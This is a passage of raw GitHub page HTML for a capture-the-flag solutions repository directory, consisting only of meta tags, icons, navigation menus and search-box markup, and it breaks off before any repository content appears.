BigB00st/ctf-solutions development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/BigB00st/ctf-solutions git https://github.com/BigB00st/ctf-solutions.git">
<meta name="octolytics-dimension-user_id" content="45171153" /><meta name="octolytics-dimension-user_login" content="BigB00st" /><meta name="octolytics-dimension-repository_id" content="252509468" /><meta name="octolytics-dimension-repository_nwo" content="BigB00st/ctf-solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="252509468" /><meta name="octolytics-dimension-repository_network_root_nwo" content="BigB00st/ctf-solutions" />
<link rel="canonical" href="https://github.com/BigB00st/ctf-solutions/tree/master/sharky20/misc/tortoise" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="252509468" data-scoped-search-url="/BigB00st/ctf-solutions/search" data-owner-scoped-search-url="/users/BigB00st/search" data-unscoped-search-url="/search" data-turbo="false" action="/BigB00st/ctf-solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="KDpZmH4jPM3/+LEfJ720AtUQITF0AAa4GLK/5bNA+0jBdL/Y7gL1MPRE+FGUID8sA6GPAmrboulwhKCT/hnsBQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 